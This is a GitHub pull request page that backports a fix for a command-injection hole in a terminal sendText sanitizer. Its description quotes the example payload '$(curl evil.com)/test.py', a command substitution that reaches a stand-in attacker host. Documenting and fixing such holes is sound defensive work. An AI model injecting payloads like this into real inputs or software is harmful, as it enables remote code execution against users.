Skip to content

fix(security): Backport multi-token command substitution fix for send Text#210

Merged
azmkercso merged 1 commit intoaws:mainfrom
aakashmandavilli96:main-sendtext-backport
Apr 23, 2026
Merged

fix(security): Backport multi-token command substitution fix for send Text#210
azmkercso merged 1 commit intoaws:mainfrom
aakashmandavilli96:main-sendtext-backport

Conversation

@aakashmandavilli96
Copy link
Copy Markdown
Contributor

Issue

P401260599

Description of Changes

Backport the multi-token command substitution fix from 1.0/1.1 (PR #206/#207). The previous sanitizer only escaped $() within single whitespace-delimited tokens. Payloads like $(curl evil.com)/test.py that span whitespace boundaries were not caught.

Testing

  • Verified patch applies cleanly via quilt (prepare-src.sh)

Screenshots/Videos

Additional Notes

Replaces the existing sanitize-terminal-sendtext-paths.diff with the updated version already merged on 1.0 (#207) and 1.1 (#206).

Backporting

Already merged on 1.0 and 1.1. This brings main in sync.


By submitting this pull request, I confirm that you can use, modify, copy, and redistribute this contribution, under the terms of your choice.

…Text

## Issue
P401260599

## Description of Changes
Backport the multi-token command substitution fix from 1.0/1.1 (PR aws#206/aws#207).
The previous sanitizer only escaped $() within single whitespace-delimited
tokens. Payloads like $(curl evil.com)/test.py that span whitespace
boundaries were not caught.

## Testing
- Verified patch applies cleanly via quilt (prepare-src.sh)

## Screenshots/Videos

## Additional Notes
Replaces the existing sanitize-terminal-sendtext-paths.diff with the
updated version already merged on 1.0 (aws#207) and 1.1 (aws#206).

## Backporting
Already merged on 1.0 and 1.1. This brings main in sync.
@aakashmandavilli96 aakashmandavilli96 requested review from a team as code owners April 23, 2026 00:46
@azmkercso azmkercso merged commit 16dbb33 into aws:main Apr 23, 2026
1 check passed
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

3 participants